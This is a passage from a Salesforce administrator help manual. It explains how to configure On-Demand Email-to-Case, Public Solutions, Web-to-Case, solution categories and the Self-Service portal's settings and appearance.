Description The record type used to create cases from emails sent to this email routing address. This setting is not available if your organization does not use record types. The user in the Automated Case User field on the Support Settings page will automatically receive a notification if he or she does not have access to the selected case record type.

4. Click Save to save the routing address settings. Alternatively, click Save & New to save the routing address, and then create a new routing address. You can only save routing addresses if a user is included in the Automated Case User field on the Support Settings page. To add a user to the Automated Case User field, click Your Name > Setup > Customize > Cases > Support Settings. A verification email is immediately sent to the new routing address which includes a link that you click to complete the verification process. The new routing address will not be verified until you open the email and click the link. 5. Click the link in the verification email. When the new email routing address is verified, it is listed as Verified in the Routing Addresses related list on the Email-to-Case Settings page. In addition, Salesforce automatically generates a unique email service address with which you configure your email system to forward case submissions. This email services address displays in the Routing Addresses related list on the Email-to-Case Settings page and on the detail page of a each routing address. Tip: To send additional verification emails to a new routing address, go to the Routing Addresses related list on the Email-to-Case Settings page and click Verify next to the email address. After verifying a routing address, click its name in the Routing Addresses related list to view its details, edit its settings, or clone new copies of it. Configuring Email-to-Case Settings To configure Email-to-Case settings: 1. Click Your Name > Setup > Customize > Cases > Email-to-Case to open the Email-to-Case settings page. 2. Click Edit. 3. As appropriate, set the following options: On-Demand Email-to-Case Setting
Notify Case Owners on New Email

Description Select this checkbox to allow case owners to automatically receive notifications when emails arrive for their existing cases. Email notifications assign a task to the case owner to respond to the new email when the Create Task from Email checkbox is selected. Responding to the email closes the task. To disable email notifications at any time, simply deselect the checkbox. Select this checkbox to warn users before they view incoming HTML email content so that they can avoid opening

Enable HTML Email

1288

Customize

Enabling and Configuring On-Demand Email-to-Case

On-Demand Email-to-Case Setting

Description potentially malicious HTML that could harm their computers. With this setting disabled, users will see text instead of HTML on email message detail pages, and when users reply to an email, the text version of the email will be copied to the email editor, instead of the HTML version. To disable HTML email warnings at any time, simply deselect the checkbox.

Email Subject

Select this checkbox to add the thread ID to the subject of email. You can choose whether the thread ID should be included in the emails users send from cases. The thread ID is the unique ID of each case email, such as [ref:00DxRtp.500xXFKf:ref]. By default, the thread ID is added to both the subject and body of case emails.

Email Body

Select this checkbox to add the thread ID to the body of email. You can choose whether the thread ID should be included in the emails users send from cases. The thread ID is the unique ID of each case email, such as [ref:00DxRtp.500xXFKf:ref]. By default, the thread ID is added to both the subject and body of case emails.

Over Email Rate Limit Action

Choose what On-Demand Email-to-Case does with email that surpasses the daily email processing limit for your organization: Bounce message - The email service returns the message to the sender or to the Automated Case User for On-Demand Email-to-Case, with a notification that explains why the message was rejected. Discard message - The email service deletes the message without notifying the sender. Requeue message - The email service queues the message for processing in the next 24 hours. If the message is not processed within 24 hours, the email service returns the message to the sender with a notification that explains why the message was rejected. For more information on email processing limits, see Tips and Considerations for On-Demand Email-to-Case.

Unauthorized Sender Action

If you limited the email addresses and domains available for On-Demand Email-to-Case in the Accept Email From field, choose what happens to messages received from senders who are blocked: Bounce message - The email service returns the message to the sender or to the Automated Case User for On-Demand Email-to-Case, with a notification that explains why the message was rejected.

1289

Customize

Enabling and Configuring On-Demand Email-to-Case

On-Demand Email-to-Case Setting

Description Discard message - The email service deletes the message without notifying the sender.

4. Click Save.

Tips and Considerations for On-Demand Email-to-Case


Consider the following when setting up routing addresses for On-Demand Email-to-Case: A Data Not Available error displays if you have an email service named EmailToCase. If you have an email service named EmailToCase, and you wish to create routing addresses for On-Demand Email-to-Case, you must: 1. Rename the email service from EmailToCase to another name. 2. If the Enable On-Demand Service checkbox is selected for On-Demand Email-to-Case: i. Deselect Enable On-Demand Service. ii. Click Save. iii. Click Edit on the Email-to-Case settings page. iv. Select Enable On-Demand Service. v. Click Save. The following error message is sent to the Automated Case User after an email is converted to a case and a workflow rule attempts to add a field value to the case that surpasses field value limits: CANNOT_INSERT_UPDATE_ACTIVATE_ENTITY: A workflow or approval field update caused an error when saving this record. Contact your administrator to resolve it. When this error occurs, any auto-response rules set up in your organization do not send a response to the user who sent the email. You can prevent similar errors from happening by deactivating the workflow rule. When a customer sends an email to a routing address, a case is created in your organization with the email subject as the case Subject and the email body as the case Description. Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case, can process daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending on how you configure over email rate limit settings for each email service. (See also failure response settings.) Salesforce calculates the limit by multiplying the number of user licenses by 1,000, up to a daily maximum of 1,000,000. For example, if you have ten licenses, your organization can process up to 10,000 email messages a day. Email services limits apply to On-Demand Email-to-Case. Text in an email that is over 128 KB is automatically truncated to fit a case record. The text is truncated to either 128 KB or 32 KB, depending on how Salesforce has enabled On-Demand Email-to-Case for your organization. The Priority, Case Origin, and Case Record Type fields auto-populate the case via the routing address settings when the routing address is included in either the To, CC, or BCC fields of an inbound email. Some email applications do not automatically send BCC information. Therefore, case fields may not auto-populate properly if the routing address is included in the BCC field of an inbound email. Furthermore, an email may not convert to a case properly if you include the email services address in the BCC field of an email. If you use Microsoft Outlook to redirect emails to a routing address:

1290

Customize

Enabling Public Solutions

The CC Address field may be blank on cases created from emails Only one email address may be included in the To field of emails This is because some versions of Outlook redirect emails with only one address in the To field and no addresses in the CC field. To prevent these issues, consider using Microsoft Exchange Server instead of Outlook to redirect emails to a routing address. To have cases that are created via On-Demand Email-to-Case automatically display in the Self-Service portal, see Enabling Self-Service Features and Settings on page 1301. Deselect both the Email Subject and Email Body checkboxes to prevent the thread ID from being added to email. If you deselect both the Email Subject and Email Body checkboxes, then all incoming responses to outbound case emails create new cases. If there is an error processing an email to a case via a routing address, then a notification is sent to the user who created the routing address. If email is sent to a routing address or email services address when On-Demand Email-to-Case is disabled, then a notification is sent to the user who created the routing address. When you reply to email messages in the Email related list on cases, the From: field on your email may display to recipients as no-reply@salesforce.com or support@company.com. This is due to how the recipients' email applications receive Sender and From headers on inbound email. By default, an Enable Sender ID compliance setting is selected for your organization, which enables email messages sent from Salesforce to comply with email applications that require Sender headers for delivery. For more information, see Configuring Deliverability Settings on page 941.

See Also:
Creating Workflow Rules Setting Up Auto-Response Rules

Enabling Public Solutions


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable web access to solutions: Customize Application

Using the Solutions tab, your customer support team can create solutions that people outside of your organization may find helpful. Using HTML code supplied by Salesforce, and with the help of your website administrator, you can add a search box and button to your website that allows your customers to search for solutions. This functionality is known as Public Solutions. With public solutions, your customers can find answers to frequently asked questions without having to call your customer support center. All solutions with a Status of Reviewed and the Visible in Public Knowledge Base field checked will be available as public solutions, including any solution attachments. Public solutions are different from the Self-Service portal and Salesforce Customer Portal because users are not required to log in, and they can only search for solutions, not submit cases. For more information about the Self-Service and Customer Portal, see Setting Up Self-Service on page 1299 and Setting Up Your Customer Portal on page 1538.

1291

Customize

Enabling Public Solutions

Note: The search box and button are displayed in a frame; your website must support frames in order for the solution search feature to work. Suggested solutions does not display Salesforce Knowledge articles.

To enable Web access to solutions: 1. 2. 3. 4. Click Your Name > Setup > Customize > Self-Service > Public Solutions. Click Edit. Check Public Solutions Enabled. If your organization uses solution categories, check Enable Solution Browsing to allow customers to browse solutions by category. Solution categories cannot be translated into other languages for public solutions. If multilingual solutions is enabled for your organization, you can add a language drop-down list to public solutions so that customers can choose which language to search for solutions. For more information, see Customizing Solution Settings on page 1297. 5. If solution category browsing is enabled, select the Top-Level Category accessible by customers in public solutions. Customers can view all solutions in this category and its subcategories if they are marked Visible in Public Knowledge Base. Leave Top-Level Category blank if you want customers to view all solutions in all categories when they are visible as public solutions. 6. If desired, you can change the appearance of the frame on your website by specifying the Maximum Page Width and Minimum Page Height. 7. Provide the URL of your CSS page in Style Sheet URL. The CSS file does not have to exist yet; you can download a sample file as a starting point later, or use your own file. 8. You can change the word or phrase that is used to describe solutions in the frame in Alternative Term. Provide singular and plural versions of the term. 9. Click Save. 10. If desired, click Download Sample CSS File to get the Salesforce style sheet. 11. Click Generate HTML. 12. Copy the resulting HTML code and click Finished. 13. Send the HTML (and the CSS file, if you downloaded it) to your website administrator to be added to your site as follows: Add the HTML to your Web page. Customize the downloaded style sheet. Host the style sheet in a publicly accessible location on your Web server.

Capturing Web Cases

1292

Customize

Capturing Web Cases

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up Web-to-Case: Customize Application

With Web-to-Case, you can gather customer support requests directly from your companys website and automatically generate up to 5000 new cases a day. This can help your organization respond to customers faster, thus improving the productivity of your support team. Preparation Before setting up Web-to-Case: Create custom case fields, if needed (see About Custom Fields on page 980). Create a default email template for the automated notification email that will be sent to your customers upon submission of each case (see Managing Email Templates on page 436). Create case queues if you wish to assign incoming cases to queues as well as individual users (see Managing Queues on page 559). Customize the Support Settings to select the default owner of cases that fail to meet the criteria in your assignment rule (see Customizing Support Settings on page 1276). Create an active case assignment rule to determine how web-generated cases are assigned to users or put into queues (see Managing Assignment Rules on page 1218). If you do not set an active assignment rule, all web-generated cases are assigned to the default owner you specify in the Support Settings.

For information on setting up Web-to-Case, see Setting Up Web-to-Case on page 1293.

Setting Up Web-to-Case
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up Web-to-Case: Customize Application

To set up Web-to-Case: 1. See Preparation on page 1292. 2. Click Your Name > Setup > Customize > Self-Service > Web-to-Case. This tool helps you generate the HTML code that your webmaster can insert into your company's website. a. Click the link to enable Web-to-Case, and check the box to turn it on. b. Select a default response template for automatically notifying customers that their case was created. If you set up response rules to use different email templates based on the information submitted, the default email template is used when no response rules apply. For instructions on setting up response rules, see Setting Up

1293

Customize

Setting Up Web-to-Case

Auto-Response Rules on page 1226. Leave this option blank if you do not wish to send emails when no response rules apply. This template must be marked as Available for Use. c. Choose the default Origin for all Web cases, and click Save. d. Click Generate the HTML. Tip: Use a custom multi-select picklist to allow customers to report cases on several products at a time.

e. To select the fields to include on your Web-to-Case form, use the Add and Remove arrows to move fields between the Available Fields list and the Selected Fields list. Use the Up and Down arrows to change the order of the fields on your form. For organizations using multiple currencies, add the Case Currency field to the HTML if you add any other currency amount fields, otherwise all amounts will be captured in your corporate currency. For organizations using record types on cases, select the Case Record Type field if you want users submitting Web-generated cases to select specific record types. f. If your organization uses the Self-Service portal or the Customer Portal and you want Web-generated cases to be visible to users in these portals, select Visible in Self-Service Portal. g. If your organization uses the Translation Workbench or has renamed tabs, select the language for the form labels displayed on your Web-to-Case form. The source of your Web-to-Case form is always in your personal language. h. Specify the complete URL to which customers should be directed after they submit their information, and click Generate. This could be a thank you page or your company's home page. 3. Copy the generated HTML code and provide it to your companys webmaster so he or she can incorporate it into your website. 4. Click Finished. 5. If you want to test the Web-to-Case form, add the line <input type="hidden" name="debug" value="1"> to the code. This line redirects you to a debugging page when you submit the form. Don't forget to remove it before releasing the Web-to-Case page to your website. Note: All Web-generated cases that are not assigned automatically via the case assignment rule are assigned to the default case owner specified in your Support Settings page. Whenever possible, Web-generated cases are automatically linked to the relevant contact and account based on the customers email address. Salesforce runs field validation rules before creating records submitted via Web-to-Case and only creates records that have valid values. All universally required fields must have a value before a record can be created via Web-to-Case.

1294

Customize

Managing Solution Categories

The format for date and currency fields captured online is taken from your organizations default settings - Default Locale and Currency Locale. If your organization exceeds its daily Web-to-Case limit, the default case owner (specified in your Support Settings page) will receive an email containing the additional case information.

See Also:
Assigning Cases Displaying and Editing Cases Managing Assignment Rules Setting Up Customer Support Setting Up Self-Service Setting Up Auto-Response Rules

Managing Solution Categories


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change solution categories: Manage Categories

Create solution categories so that users can group similar solutions together. Once your solutions are categorized, users can browse for and find solutions by category from the Solutions tab or when solving a case. Customers can also browse solutions by category in public solutions, the Self-Service portal, and the Customer Portal. To learn more, see: Getting Started with Categories on page 1295 Defining Solution Categories on page 1296 Entering Translated Terms on page 459

Getting Started with Categories


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change solution categories: Manage Categories

Follow these steps to ensure a successful rollout of solutions: 1. Plan which categories your support team needs.

1295

Customize

Defining Solution Categories

Keep in mind that you can also allow customers to find solutions by category in public solutions and your Self-Service portal. You can specify that customers can view only solutions in a particular category and all of its subcategories. 2. Define your categories; see Defining Solution Categories on page 1296. 3. Categorize your solutions; see Categorizing Solutions on page 2863. Administrators, and users with the Manage Categories permission, can categorize solutions prior to enabling solution categories for the entire organization. 4. Create a custom report of type Solution Categories to verify that all solutions are categorized appropriately. To find any uncategorized solutions, use the advanced report filters; choose the Category Name field and the equals operator, and leave the third field blank. Administrators, and users with the Manage Categories permission, can create solution category reports prior to enabling solution categories for the entire organization. 5. Enable solution category browsing for the Solutions tab; see Customizing Solution Settings on page 1297. 6. Enable solution category browsing for customers using public solutions and your Self-Service portal. See Enabling Public Solutions on page 1291 and Enabling Self-Service Features and Settings on page 1301. 7. Specify the top-level category accessible by customers using public solutions and your Self-Service portal. This is useful if you want to have certain categories available only to internal staff. Leave this blank if you want customers to view all categories and all solutions that are visible in Self-Service portal or visible in public solutions.

See Also:
Managing Solution Categories

Defining Solution Categories


Begin by creating your solution categories. The All Solutions category is automatically created for you as the top of your solution hierarchy. Users cannot add solutions to this category or translate it. 1. 2. 3. 4. 5. Click Your Name > Setup > Customize > Solutions > Solution Categories. Click Add Category to create a subcategory below a specific category. Enter the category name. Category names cannot include the backslash \ character. Select a different parent category, if desired. The parent category is the category directly above this category in the hierarchy. Select a sort order for any subcategories you create under this category. Choose Alphabetical Order to sort subcategories alphabetically. Choose Custom Order to sort subcategories in the order you specify; see Adding and Sorting Subcategories on page 1297.

6. Click Save. 7. After creating categories, categorize your solutions. See Categorizing Solutions on page 2863. Administrators, and users with the Manage Categories permission, can categorize solutions prior to enabling solution categories for the entire organization. 8. Then, after categorizing solutions, turn on solution category browsing on the Solutions tab. See Customizing Solution Settings on page 1297. 9. To enable solution category browsing for the public knowledge base or your Self-Service portal, see Enabling Public Solutions on page 1291 and Enabling Self-Service Features and Settings on page 1301.

1296

Customize

Customizing Solution Settings

Editing and Deleting Categories From the list of solution categories, you can: Click Edit to modify the category name, parent category, or sort order. Click Del to delete the category. The solutions associated with the category are not deleted. Note: You cannot delete a category in use by a Salesforce Customer Portal. For more information, see Enabling Customer Portal Login and Settings on page 1545. Click the category name to view the category details.

Adding and Sorting Subcategories From a category detail page, you can: Click New to add a subcategory below the category. Enter a custom sort order for the subcategories. 1. Edit the category to set the Subcategory Sort Order to Custom Order. 2. Enter numbers in the Order column to specify the order of the subcategories. 3. Click Reorder.

See Also:
Categorizing Solutions Entering Translated Terms

Customizing Solution Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To change solution settings: Customize Application

To customize solution settings: 1. Click Your Name > Setup > Customize > Solutions > Solution Settings. 2. Click Edit. 3. Select Enable Solution Browsing to turn on the ability to browse for and find solutions by category. This setting enables solution browsing on the Solutions tab, Customer Portal, and when solving a case. For information on translating solution categories into multiple languages, see Entering Translated Terms on page 459. 4. Select Enable Multilingual Solutions to turn on the ability for users to translate solutions into multiple languages. You can deselect the Enable Multilingual Solutions checkbox at any time, but deselecting it removes all associations between master and translated solutions and automatically disables the Enable Multilingual Solution Search

1297

Customize

Customizing Solution Settings

in Self Service Portal and Enable Multilingual Solution Search for Public Solutions settings. If you select the Enable Multilingual Solutions checkbox again, the associations between master and translated

solutions are restored. 5. Select Enable Multilingual Solution Search in Self-Service Portal to add a language drop-down list to the Self-Service portal that automatically restricts search results to solutions that match the Self-Service portal users language. From the language drop-down list, Self-Service portal users can choose whether to search for solutions in a specific language or any language supported by Salesforce. Deselecting this checkbox removes the language drop-down list from the Self-Service portal, and search results include solutions in all languages, regardless of the Self-Service portal user's language. 6. Select Enable Multilingual Solution Search for Public Solutions to add a language drop-down list to public solutions so that public solutions users can choose which language to search for solutions. From the language drop-down list, public solutions users can choose whether to search for solutions in a specific language or any language supported by Salesforce. Deselecting this checkbox removes the language drop-down list from public solutions, and search results include solutions in all languages. 7. Select Enable HTML Solutions to create and display solutions in HTML. When enabled, solutions appear in HTML in Salesforce, public solutions, Self-Service portal, and Salesforce Customer Portal. Using HTML Solutions allows users to easily format solution details by changing fonts and colors, and adding images and hyperlinks. Caution: Once you select Enable HTML Solutions, you cannot disable it.

8. Select Solution Summary to display up to 150 characters of the solution details in the solution search results. Deselecting this checkbox removes the solution summary from the results. 9. Select Inline Category Breadcrumbs to display up to 150 characters of the breadcrumb trail of categories to which the solution belongs in the search results. Deselecting this checkbox removes the breadcrumbs from the results. 10. Click Save. 11. To enable solution browsing by customers in public solutions or your Self-Service portal, see Enabling Public Solutions on page 1291 and Enabling Self-Service Features and Settings on page 1301. In addition, you can customize the top-level category accessible by public solutions and Self-Service users. You do not need to modify this setting if you want customers to view all categories and all solutions that are visible in the Self-Service portal or visible in public solutions.

See Also:
Categorizing Solutions Managing Solution Categories Enabling Multilingual Solutions Setting Up Your Customer Portal

1298

Customize

Setting Up Self-Service

Setting Up Self-Service
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To use Self-Service Jump Start: To set up the Self-Service portal: To modify Self-Service pages: Manage Self-Service Portal Manage Self-Service Portal Manage Self-Service Portal AND Customize Application

Self-Service provides an online support channel for your customers - allowing them to resolve their inquiries without contacting a customer service representative. Setting up your Self-Service portal is simple. Choose from two setup options: Jump Start - Gets you up and running quickly; see Self-Service Jump Start on page 1300. Self-Service Setup - Complete setup which allows you more customization. The setup consists of: Enabling Self-Service Features and Settings on page 1301 Customizing Your Self-Service Look and Feel on page 1304 Customizing Your Self-Service Fonts and Colors on page 1307 Customizing Your Self-Service Pages on page 1308 Generating Login HTML on page 1316 Managing Self-Service Users on page 1317

See Preparation for Setting Up Your Portal to learn more about implementing Self-Service.

See Also:
Customizing Your Self-Service Fonts and Colors Customizing Your Self-Service Look and Feel Self-Service Jump Start Administrator tip sheet: Getting the Most from Your Self-Service Portal Administrator setup guide: Self-Service Implementation Guide

Preparation for Setting Up Your Portal


Before setting up your Self-Service portal or your Salesforce Customer Portal: Build your public solutions - Review and mark your solutions as Visible in Self-Service Portal. Only solutions marked Visible in Self-Service Portal can appear in the Self-Service portal or the Customer Portal. (See

1299

Customize

Self-Service Jump Start

Reviewing Solutions on page 2860.) For your Self-Service portal only, identify the top five solutions you want to feature on the Home Page. Determine the information to show and collect - Decide which case fields will be available when users view their cases. You should also decide which fields should be required when users submit cases online and which picklist values users can select when they solve their own cases with suggested solutions. (See Case Fields on page 2822.) Designate the portal's location - Choose where to add your portal's login URL on your corporate website. To locate the login URL for your Self-Service portal, see Generating Login HTML on page 1316; to locate the login URL for your Customer Portal see Enabling Customer Portal Login and Settings on page 1545. Customize your portal communication templates - Decide which email templates to send to users to communicate a variety of information, such as reset passwords, notifications when public comments are added to cases, and case auto-responses with suggested solutions. Customize and distribute the portal tip sheet - Download the Using the Self-Service Portal and Customer Portal tip sheet and edit it to match your portal's branding and features, such as suggested solutions and the ability to attach files to submitted cases. Then distribute the document to your customers who want to learn how to answer their own inquiries using your portal.

See Also:
Setting Up Self-Service Enabling Salesforce CRM Content in the Customer Portal

Self-Service Jump Start


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To use Self-Service Jump Start: Manage Self-Service Portal

Get your Self-Service portal running quickly using the Jump Start button. It automates the setup process by choosing some default settings for you. 1. 2. 3. 4. 5. Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Settings > Jump Start. Review the process and click Continue. Choose a color theme. Edit the default settings as needed and click Save. Test your Self-Service portal by: a. Clicking Generate to retrieve a test username and password. b. Clicking Access Self-Service Portal to preview your pages. c. Optionally, click Invite to notify other users how to log in and preview your pages. 6. Enable your Self-Service portal by copying the link provided in the Enable Self-Service... section to an appropriate place on your website. 7. Click Done when finished.

1300

Customize

Enabling Self-Service Features and Settings

8. Enable your customers to use your Self-Service portal. See Managing Self-Service Users on page 1317. Tip: To make changes to your settings, see Enabling Self-Service Features and Settings on page 1301. The Self-Service Jump Start automatically enables the Enable Self-Service button on contact detail pages.

Enabling Self-Service Features and Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up the Self-Service portal: To modify Self-Service pages: Manage Self-Service Portal Manage Self-Service Portal AND Customize Application

1. Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Settings. 2. Click Self-Service Setup on the Self-Service Settings page. 3. Set the following options: Setting
Login Enabled Edit Self-Service Users

Description Allows users to log into the Self-Service portal. Displays the Enable Self-Service button on contact detail pages. Or, for contacts in which Self-Service is already enabled, the View Self-Service button displays. The URL of the web page that will be displayed when users log out of the Self-Service portal, for example, http://www.acme.com. If a logout URL is not specified, the Logout button does not display to users. The default origin assigned to all cases submitted via the Self-Service portal. Available values are taken from your organization's Case Origin picklist. You can assign different default origins for cases submitted via Self-Service and Web-to-Case. Automatically selects the Visible in Self-Service Portal checkbox for all new cases, including cases created via Web-to-Case, Email-to-Case, and On-Demand Email-to-Case.

Logout URL

Default Case Origin

New Cases Visible in Self-Service Portal

1301

Customize

Enabling Self-Service Features and Settings

Setting

Description Regardless of this default, users creating new cases can manually set the Visible in Self-Service Portal checkbox.

Enable Solution Browsing

Enables solution categories in the Self-Service portal so that customers can browse solutions by category. If multilingual solutions is enabled, you can translate solution categories. For more information, see Entering Translated Terms on page 459.

Top-Level Category for Self-Service Portal The top-level category accessible by customers in the

Self-Service portal. Customers can view all solutions marked Visible in Self-Service Portal in this category and its subcategories. Leave this blank to let customers view all solutions marked Visible in Self-Service Portal in all categories.
Case Record Type

The record type to assign to any case submitted via the Self-Service portal. The email address from which all new user and password emails will be sent, for example, support@acme.com. When this field is blank, Salesforce uses: The Automated Case User's email address for users who receive an email with a temporary password by clicking Forgot your password? on the Login Page of the Self-Service portal. The Automated Case User is specified at Your Name > Setup > Customize > Cases > Support Settings. The email address of the user who last posted a comment for users who receive a case comment notification email. The name that will be associated with the From Email Address, for example, Acme Customer Support. When this field is blank, Salesforce uses: Your organization's name for users who receive an email with a temporary password by clicking Forgot your password? on the Login Page of the Self-Service portal. The name of the user who last posted a comment for users who receive a case comment notification email. The email template used to send a username and initial password to all newly-enabled Self-Service users. Self-Service automatically selects a sample template for you. To create your own template or modify the sample, see Managing Email Templates on page 436. This template must be marked as Available for Use.

"From" Email Address

"From" Email Name

New User Template

1302

Customize

Enabling Self-Service Features and Settings

Setting
New Password Template

Description The email template used to send a new password to existing Self-Service users when you reset their passwords or when they reset their own passwords by clicking Forgot your password? on the Login Page of the Self-Service portal. Self-Service automatically selects a sample template for you. To create your own template or modify the sample, see Managing Email Templates on page 436. This template must be marked as Available for Use. When selected, indicates that the Send Customer Notification option on a case comment is displayed. Even if this checkbox is not selected, the Send Customer Notification option still displays on cases if you have enabled email notifications to contacts who are not members of your Self-Service portal. See Customizing Support Settings on page 1276.

Enable Notification Email on New Case Comment

New Comment Template

The email template used to send a notification to Self-Service users when a public comment is added to one of their cases. Self-Service automatically selects a sample template for you. To create your own template or modify the sample, see Managing Email Templates on page 436. This template must be marked as Available for Use. Note that case owners are sent a separate notification that you can't customize.

Enable Case Auto-Response Rules for Self-Service Cases Case Creation Template

Indicates if cases submitted through your Self-Service portal will trigger your auto-response rules. The email template to use when cases submitted through your Self-Service portal do not match any auto-response rules. The maximum pixel width of the Self-Service pages from Salesforce. If hosting the portal yourself, this is the width of the inner HTML frame on your Self-Service login page. The minimum pixel height of the Self-Service pages from Salesforce. The complete, publicly accessible URL of your organizations Self-Service style sheet, for example, http://www.acme.com/styles/selfservice.css. See Customizing Your Self-Service Look and Feel on page 1304. If you use a predefined color theme, leave this field blank.

Maximum Page Width

Minimum Page Height

Style Sheet URL

Color Theme

Use one of Salesforces color themes if you do not have your own style sheet to use. Click the View link to see template settings. To change the fonts and colors of one of Salesforces

1303

Customize

Enabling Self-Service Features and Settings

Setting

Description color themes, see Customizing Your Self-Service Fonts and Colors on page 1307.

Case Single Term

Term used on the Self-Service portal instead of case (singular form). Term used on the Self-Service portal instead of cases (plural form). Term used on the Self-Service portal instead of solution (singular form). Term used on the Self-Service portal instead of solutions (plural form).

Case Plural Term

Solution Single Term

Solution Plural Term

4. Click Save to save your Self-Service Settings.

See Also:
Setting Up Self-Service Customizing Your Self-Service Look and Feel Customizing Your Self-Service Fonts and Colors Customizing Your Self-Service Pages Generating Login HTML Managing Self-Service Users Self-Service Jump Start

Customizing Your Self-Service Look and Feel


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up the Self-Service portal: To modify Self-Service pages: Manage Self-Service Portal Manage Self-Service Portal AND Customize Application

Develop a meaningful look and feel for your entire Self-Service portal. Follow these steps:

1304

Customize

Enabling Self-Service Features and Settings

1. Customize the headers and footers of the Self-Service pages; see Create Your Custom Page Header and Footer Sections on page 1305. 2. Customize the Self-Service portal fonts and colors via one of these options: Choose a predefined color theme or upload your own style sheet; see Customize the Self-Service Style Sheet on page 1306. Customize fonts and colors using a point-and-click editor; see Customizing Your Self-Service Fonts and Colors on page 1307.

See Also:
Customizing Your Self-Service Pages Self-Service Jump Start

Create Your Custom Page Header and Footer Sections


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up the Self-Service portal: To modify Self-Service pages: Manage Self-Service Portal Manage Self-Service Portal AND Customize Application

Apply your companys branding to every page in your Self-Service portal by customizing your page headers and footers. Your portal page headers and footers can contain a company logo, your company messaging, or your companys colors. 1. 2. 3. 4. 5. Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Settings. Click Edit next to the Page Header listed in the Portal Page Sections. Check Show Header to display the header on your portal pages. Check Show Header Separator to include a line separating the header from your body pages. If desired, enter a page message. Use the format toolbar to format your page message. See Using the Format Toolbar for descriptions of the HTML formatting buttons. Optionally, check Show HTML to view your page message in HTML code. 6. Click Save. 7. Click Edit next to the Page Footer listed in the Portal Page Sections. 8. Check Show Footer to display the footer on your portal pages. 9. Check Show Footer Separator to include a line separating the footer from your body pages. 10. If desired, enter a page message. Use the format toolbar to format your page message. See Using the Format Toolbar for descriptions of the HTML formatting buttons. Optionally, check Show HTML to view your page message in HTML code.

1305

Customize

Enabling Self-Service Features and Settings

11. Click Save.

See Also:
Customizing Your Self-Service Look and Feel Customizing Your Self-Service Pages

Customize the Self-Service Style Sheet


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up the Self-Service portal: To modify Self-Service pages: Manage Self-Service Portal Manage Self-Service Portal AND Customize Application

Select a predefined color theme, or download a sample Self-Service color theme so you can customize it. This color theme allows you to incorporate your organizations branding into your Self-Service portal. Note: To customize the Self-Service color theme using a point-and-click editor, see Customizing Your Self-Service Fonts and Colors on page 1307. 1. 2. 3. 4. Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Settings. Click Self-Service Setup. Click the View Color Theme Options link in the page settings section. Find a set of fonts and colors you like and click Download This Color Theme. To use a predefined color theme without customizing it, simply click Select This Color Theme. 5. Save the color theme you downloaded and give it to your webmaster if it needs more customization. The downloaded color theme is a CSS style sheet that your webmaster can edit. 6. Store the downloaded style sheet in a publicly accessible location and enter the URL for your style sheet in the Style Sheet URL field. 7. Click Save.

See Also:
Customizing Your Self-Service Look and Feel Customizing Your Self-Service Fonts and Colors Customizing Your Self-Service Pages

1306

Customize

Customizing Your Self-Service Fonts and Colors

Customizing Your Self-Service Fonts and Colors


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up the Self-Service portal: To modify Self-Service pages: Manage Self-Service Portal Manage Self-Service Portal AND Customize Application

You can customize the fonts and colors of the Self-Service portal to reflect your companys branding. Your portals fonts and colors are specified in a portal color theme. Select a predefined color theme and customize it using a point-and-click editor. 1. Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Fonts and Colors. Salesforce offers predefined themes that you can customize. Click Preview to view any theme. 2. Select the color theme you want to customize. From the color theme page, you can: Click the Reset to Default link to remove all customizations from a theme. Click the Back to All Themes link to return to the list of color themes. Click Preview Theme Nameto view the theme you are customizing.

3. Choose a portal page to customize. Color themes are customized page-by-page with some page elements being shared by multiple pages. From the portal page, you can: Click See Examples to see all of the elements that you can customize. Click Clear next to an element to remove customizations. Click Preview Theme Name to view the theme you are customizing. Click the Back to All Pages link to return to the list of all portal pages.

4. Click Edit next to the visual element you want to customize. Some elements are visible only on the selected portal page, and some are shared across multiple portal pages. Changes you make to shared elements affect all pages. Note: Depending on the visual element, you can customize attributes using a point-and-click editor or a custom style sheet editor which lets you modify the cascading style sheets (CSS) directly. Choose the click here link to switch between the two. If you are using the point-and-click editor, select the Show advanced attributes box to access the click here link. We recommend that only users familiar with cascading style sheets (CSS) define them. 5. Edit the visual element as desired. If you are using the point-and-click editor: Click Edit next to a basic or advanced attribute. If you do not see the advanced attributes, select the Show advanced attributes box.

1307

Customize

Customizing Your Self-Service Pages

In the popup window, change the attribute as needed. Click OK to confirm your changes in the popup window. If you are using the custom style sheet editor, enter valid CSS code. For a list of all the page attributes you can edit, see Self-Service Page Attributes on page 1309.

6. Click Save to save all changes to the visual element and its attributes. Customizations are not visible to your Self-Service users until you set the color theme as active. 7. Repeat these steps to customize all visual elements and their attributes as necessary. 8. Return to the list of color themes by clicking the Back to All Pages link and then the Back to All Themes link. 9. Click Set Active Theme. 10. Select the theme to activate for your portal, live and in real-time. Your organization can only have one active theme. 11. Click Save. Note: Since changes to an active theme take effect immediately, we recommend that you fully customize a theme before activating it so as not to disturb your customers.

Customizing Your Self-Service Pages


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To modify Self-Service pages: Manage Self-Service Portal AND Customize Application

